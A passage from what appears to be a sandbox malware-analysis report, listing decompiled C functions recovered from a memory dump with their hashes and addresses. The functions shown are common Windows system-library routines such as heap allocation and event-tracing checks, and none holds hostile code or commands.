Instruction ID: a746d2aca428d3f2ef3ad2616b1d51279ec8fddb691b806dfcb21785015bf9e9
Opcode Fuzzy Hash: c66c11da9e141cc6b4fb64277b04ff77fc735e0d84abe91c10b5b84c3757b7e6
Instruction Fuzzy Hash: 30019271A44258AFCB00EFA9D842FAEB7B8EF44710F40406BB905EB381D6709E00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DA58EC Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00DA58EC(void* __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				void* _t17;
				void* _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0xe9d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0xd85c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E00DA5943() != 0 &&  *0xe95320 > 5) {
					E00E27B5E( &_v44, _t27);
					_t22 =  &_v28;
					E00E27B5E( &_v28, _t28);
					_t11 = E00E27B9C(0xe95320, 0xd8bf15,  &_v28, _t22, 4,  &_v76);
				}
				return L00DEB640(_t11, _t17, _v8 ^ _t29, 0xd8bf15, _t27, _t28);
			}

0x00da58fb
0x00da58fe
0x00da5906
0x00da590a
0x00da593c
0x00da593c
0x00da590c
0x00da590c
0x00da5911
0x00000000
0x00da5913
0x00da5913
0x00da5913
0x00da5911
0x00da591d
0x00e01035
0x00e0103c
0x00e0103f
0x00e01056
0x00e01056
0x00da593b

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd2c19a3b825f6285fda79c7e6431fdfb74c2d89a6884cafb945a870cba0968
Instruction ID: 1d1c7264f27e00dca4314a223164784d4adbbf4619da2a22d2ba7917159fef9b
Opcode Fuzzy Hash: fbd2c19a3b825f6285fda79c7e6431fdfb74c2d89a6884cafb945a870cba0968
Instruction Fuzzy Hash: 9701A731A14914EBC714EB25EC019AF77BDEF45370F58006AA945AF249DE30DD05CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00E71074 Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00E71074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				intOrPtr _v11;
				unsigned int _v12;
				intOrPtr _v15;
				void* __esi;
				void* __ebp;
				unsigned int _t13;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 = _t13;
				if(_a4 != 0) {
					_push((_t13 >> 0x14) + (_t13 >> 0x14));
					L00E7165E(__ebx, 0xe98ae4, (__edx -  *0xe98b04 >> 0x14) + (__edx -  *0xe98b04 >> 0x14), __edi, __ecx, (__edx -  *0xe98b04 >> 0x14) + (__edx -  *0xe98b04 >> 0x14));
				}
				_push( *((intOrPtr*)(_t35 + 0x38)));
				_push( *((intOrPtr*)(_t35 + 0x34)));
				_push(0x8000);
				L00E6AFDE( &_v8,  &_v12);
				if(L00DC7D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = L00E5FE3F(_t22, _t35, _v11, _v15);
				}
				return _t16;
			}

0x00e71074
0x00e71080
0x00e71082
0x00e7108a
0x00e7108f
0x00e71093
0x00e710a8
0x00e710ab
0x00e710ab
0x00e710b0
0x00e710b7
0x00e710be
0x00e710c3
0x00e710cf
0x00e710e1
0x00e710d1
0x00e710da
0x00e710da
0x00e710e9
0x00e710f5
0x00e710f5
0x00e710fe

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d86d32530a1f3a0a4595be8b76f523c81d545ac3b316fcc968b36e04007dcd
Instruction ID: 298ac32a856f915109303f7e69497dcd5d39135995e86eb9512e4e8567d03ff5
Opcode Fuzzy Hash: e6d86d32530a1f3a0a4595be8b76f523c81d545ac3b316fcc968b36e04007dcd
Instruction Fuzzy Hash: 9A014C725047429FC710EF6CC901B1A77D5ABC4314F04D669F88AA32A1EE70D884CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00DBB02A Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DBB02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(L00DC7D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E00E27016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x00dbb037
0x00dbb039
0x00dbb03b
0x00dbb040
0x00e0a60e
0x00000000
0x00000000
0x00e0a61d
0x00dbb04b
0x00dbb04e
0x00e0a627
0x00e0a634
0x00000000
0x00000000
0x00e0a641
0x00e0a653
0x00e0a643
0x00e0a64c
0x00e0a64c
0x00e0a65b
0x00000000
0x00000000
0x00000000
0x00e0a66c
0x00dbb057
0x00dbb057
0x00dbb057
0x00dbb046
0x00dbb046
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 4ee4047103db818793f815bdf892001b63223e303e1dade48fecf1f780173baa
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: 2E017171204A84DFD322975CD984FB777E8EB46B54F0D00A2F916CB691D769DC80C631

Uniqueness

Uniqueness Score: -1.00%

Function 00E78A62 Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00E78A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0xe9d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(L00DC7D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				return L00DEB640(E00DE9AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31,  *_t18 & 0x000000ff);
			}

0x00e78a62
0x00e78a71
0x00e78a79
0x00e78a82
0x00e78a85
0x00e78a89
0x00e78a8c
0x00e78a8f
0x00e78a92
0x00e78a95
0x00e78a9f
0x00e78ab1
0x00e78aa1
0x00e78aaa
0x00e78aaa
0x00e78abc
0x00e78abd
0x00e78abf
0x00e78ada

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ada8d110be41d91226c116586de3a6d7b545372119c4cba9586eab1843d972c
Instruction ID: f900987624627e0e640df5936eca41806ff8c7d7683926debec8a4d6f534882c
Opcode Fuzzy Hash: 9ada8d110be41d91226c116586de3a6d7b545372119c4cba9586eab1843d972c
Instruction Fuzzy Hash: 95011AB1A01219AFCB00DFA9D946AAEBBB8EF48350F10405AF905F7351DA34A9008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DADB60 Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DADB60(intOrPtr* __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *__ecx != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E00DADB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = L00DAE7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L00DAE8B0(__ecx, _t14, 0xfff);
							L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x00dadb64
0x00dadb66
0x00dadb6b
0x00dadbaa
0x00dadb71
0x00dadb76
0x00dadb7a
0x00dadba3
0x00dadb7c
0x00dadb87
0x00dadb8b
0x00e04fa1
0x00e04fb3
0x00e04fb8
0x00dadb91
0x00dadb96
0x00dadb98
0x00dadb98
0x00dadb8b
0x00dadb7a
0x00dadb9d
0x00dadba2

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 0ee5cdf7ca60e1650b6904c29e361e5527f54d3eb1b8d343606bb12cccd74fc9
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: AFF0C8332015229BD3325A558884F2BB6A7CFC3B60F2B0435B1069BA84CA70CC0296F0

Uniqueness

Uniqueness Score: -1.00%

Function 00DAB1E1 Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DAB1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(L00DC7D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(L00DC7D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E00E27016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x00dab1e8
0x00dab1ea
0x00dab1f3
0x00e04a17
0x00dab1f9
0x00dab1f9
0x00dab1f9
0x00dab201
0x00e04a21
0x00e04a2e
0x00000000
0x00000000
0x00e04a3b
0x00e04a4d
0x00e04a3d
0x00e04a46
0x00e04a46
0x00e04a55
0x00000000
0x00000000
0x00000000
0x00dab20a
0x00dab20a
0x00dab20a
0x00dab20a

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: d8b5f5baefbe758d2f6833cdf4bbbcc094c08a3f2476248fce5bf101402d6303
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: 2D01D672344680DBD322975DC904F597BA8EF92764F0800A2FA559B6F3E774CC41C634

Uniqueness

Uniqueness Score: -1.00%

Function 00E6131B Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00E6131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				void* _t24;
				void* _t30;
				void* _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0xe9d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(L00DC7D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				return L00DEB640(E00DE9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31,  *_t18 & 0x000000ff);
			}

0x00e6131b
0x00e6132a
0x00e61330
0x00e61336
0x00e6133e
0x00e61341
0x00e61344
0x00e6134f
0x00e61361
0x00e61351
0x00e6135a
0x00e6135a
0x00e6136c
0x00e6136d
0x00e6136f
0x00e61387

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d07a7084f6dfaac9449410481df6e06a2fae9b6770a4b70ac9fd9e2c99d7c5fa
Instruction ID: afea60809edfb8c4850c48d0adcb8643c32c09497754a9fe698a33970d07735e
Opcode Fuzzy Hash: d07a7084f6dfaac9449410481df6e06a2fae9b6770a4b70ac9fd9e2c99d7c5fa
Instruction Fuzzy Hash: E6014471A4524CAFCB04EFA9D546AAEB7F4FF08740F50405AF805EB351E674DA00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E62073 Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00E62073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = L00E5FD22(__ecx);
				_t19 =  *0xe9849c - _t3; // 0x3a8b482e
				if(_t19 == 0) {
					__eflags = _t17 -  *0xe98748; // 0x0
					if(__eflags <= 0) {
						E00E61C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0xe98724 & 0x00000004;
							if(( *0xe98724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0xe98724; // 0x0
					return E00E58DF1(__ebx, 0xc0000374, 0xe95890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x00e62076
0x00e62078
0x00e6207d
0x00e62083
0x00e620a4
0x00e620aa
0x00e620ac
0x00e620b7
0x00e620ba
0x00e620bc
0x00e620c9
0x00e620c9
0x00e620d0
0x00e620d2
0x00000000
0x00e620d2
0x00e620be
0x00e620c3
0x00e620c5
0x00e620c7
0x00000000
0x00000000
0x00e620c7
0x00e620bc
0x00e620d4
0x00e62085
0x00e62085
0x00e620a3
0x00e620a3

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f3966e2422af72ce909d0d72bbb74c48f2bdd24e38ad9f008e26cfdbb201d85
Instruction ID: aa62fd6c63bed54bf6cf6118aeb84d5279c48c9ebda8e22af66604da4578faa7
Opcode Fuzzy Hash: 5f3966e2422af72ce909d0d72bbb74c48f2bdd24e38ad9f008e26cfdbb201d85
Instruction Fuzzy Hash: 58F027264519844FCF766B2536023D12BD0C74A398B19388BE95077216CC358C87CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00DE927A Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00DE927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L00DC4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E00DEFA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E00DE92C6(_t11, _t14);
				}
				return _t11;
			}

0x00de9295
0x00de9299
0x00de929f
0x00de92aa
0x00de92ad
0x00de92ae
0x00de92af
0x00de92b0
0x00de92b4
0x00de92bb
0x00de92bb
0x00de92c5

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 8900459624cb5763c57be74ee73baa972057af54f2683b1637db2d3ee50acb23
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: 39E0ED322416806BEB21AF0ACC91F4376A9EF82720F044078BA041E283CAE6DC0987B4

Uniqueness

Uniqueness Score: -1.00%

Function 00E78CD6 Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00E78CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				void* _t17;
				void* _t22;
				void* _t23;
				void* _t24;
				signed int _t25;

				_v8 =  *0xe9d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(L00DC7D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				return L00DEB640(E00DE9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24,  *_t11 & 0x000000ff);
			}

0x00e78ce5
0x00e78ced
0x00e78cf0
0x00e78cfb
0x00e78d0d
0x00e78cfd
0x00e78d06
0x00e78d06
0x00e78d18
0x00e78d19
0x00e78d1b
0x00e78d33

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cb059736a3413a6cf3024a4b89a8e65a8c399b7fd73348393943f58fed637e0
Instruction ID: 4a0070d6f3e34d01067af3947b185bf90def31a0b6ce78481b4b81e957ba4b64
Opcode Fuzzy Hash: 6cb059736a3413a6cf3024a4b89a8e65a8c399b7fd73348393943f58fed637e0
Instruction Fuzzy Hash: 52F08970905149AFCB04EBA9D956E6E77B8EF14300F50415AF516EB2D1EA34DD00C764

Uniqueness

Uniqueness Score: -1.00%

Function 00DC746D Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00DC746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E00DBEB70(__ecx, 0xe979a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E00DE95D0();
							L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x00dc746d
0x00dc746d
0x00dc746d
0x00dc7471
0x00dc7488
0x00e0f92d
0x00dc748e
0x00dc7491
0x00dc7495
0x00e0f937
0x00e0f93a
0x00e0f94e
0x00e0f953
0x00e0f956
0x00e0f956
0x00dc7495
0x00000000
0x00dc7488
0x00dc7473
0x00dc7478
0x00dc747d
0x00dc7481
0x00000000
0x00dc7481
0x00dc747d
0x00dc747a
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fad34e0a559d98a228cffe6c3a7419d2f3e24448e1848e3e7829edf661892df7
Instruction ID: f9f913c648101614fc31f1da918507e7d9145fe60e6d1ddae75d52ce00a01c30
Opcode Fuzzy Hash: fad34e0a559d98a228cffe6c3a7419d2f3e24448e1848e3e7829edf661892df7
Instruction Fuzzy Hash: BBF0B43450C246AACF1997A8C440FB9BBA2AF14310F54021DE491A7191E724DC40CFB5

Uniqueness

Uniqueness Score: -1.00%

Function 00E78B58 Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00E78B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				void* _t17;
				void* _t22;
				void* _t23;
				void* _t24;
				signed int _t25;

				_v8 =  *0xe9d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(L00DC7D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				return L00DEB640(E00DE9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24,  *_t11 & 0x000000ff);
			}

0x00e78b67
0x00e78b6f
0x00e78b72
0x00e78b7d
0x00e78b8f
0x00e78b7f
0x00e78b88
0x00e78b88
0x00e78b9a
0x00e78b9b
0x00e78b9d
0x00e78bb5

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10b79f8819ef543834e218827092ffe632e6af572eea88f0a168c2607c595b9f
Instruction ID: 1825612ca775e889461d09b360e6056ac16b105f1da7e326df608a643b1f39c9
Opcode Fuzzy Hash: 10b79f8819ef543834e218827092ffe632e6af572eea88f0a168c2607c595b9f
Instruction Fuzzy Hash: E2F082B0A44259AFDB00EBA9DA06E6EB3B4EF04300F540459B905EB391EA74ED00C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00DDA44B Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DDA44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0xe97b9c; // 0x0
				_t15 = __ecx;
				_t16 = L00DC4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E00DEFA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x00dda44b
0x00dda453
0x00dda472
0x00dda476
0x00000000
0x00dda493
0x00dda47a
0x00dda47f
0x00dda486
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d29544312c491f71a1fddc91dc55d66a946b9d9a7a171bbf459b50439db98c40
Instruction ID: dda01ba1934d85d0bf4965af5aac6c5a0feae7de625f4b309274dec11c055c16
Opcode Fuzzy Hash: d29544312c491f71a1fddc91dc55d66a946b9d9a7a171bbf459b50439db98c40
Instruction Fuzzy Hash: BEE02272A01421ABC2225B08EC00F6673ADDBD0700F0A403AF548C7210D668DD01C3F0

Uniqueness

Uniqueness Score: -1.00%

Function 00DAF358 Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00DAF358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E00DDF3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L00DC4620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x00daf35d
0x00daf361
0x00daf367
0x00daf372
0x00daf38c
0x00daf38c
0x00daf394

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: 70d82729000c502f93a8d35f4f63f31ed881e3c3ef12a5d81fbd3e87f70454c3
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: 06E0DF32A40228BBCB31ABD99E06FAABBBCDB49B60F0501E6F904D7150D5619E00C2F0

Uniqueness

Uniqueness Score: -1.00%

Function 00E341E8 Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00E341E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0xe808f0);
				_t5 = E00DFD08C(__ebx, __edi, __esi);
				if( *0xe987ec == 0) {
					L00DBEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0xe987ec == 0) {
						 *0xe987f0 = 0xe987ec;
						 *0xe987ec = 0xe987ec;
						 *0xe987e8 = 0xe987e4;
						 *0xe987e4 = 0xe987e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L00E34248();
				}
				return E00DFD0D1(_t5);
			}

0x00e341e8
0x00e341ea
0x00e341ef
0x00e341fb
0x00e34206
0x00e3420b
0x00e34216
0x00e3421d
0x00e34222
0x00e3422c
0x00e34231
0x00e34231
0x00e34236
0x00e3423d
0x00e3423d
0x00e34247

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7640150c346a666a23402f6b46fce291c775d8f668e01205b97ed85c02bf8ce1
Instruction ID: f2d1c81c369dbc00468e7ab3aa8a696a03246eff4c28e83096e418154c2af86a
Opcode Fuzzy Hash: 7640150c346a666a23402f6b46fce291c775d8f668e01205b97ed85c02bf8ce1
Instruction Fuzzy Hash: 21F01C74810704DECBA0EFE6DA0571436A5F746310F209227A104F72B6CF345488CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00E5D380 Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00E5D380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L00DAE8B0(__ecx, _a4, 0xfff);
					L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
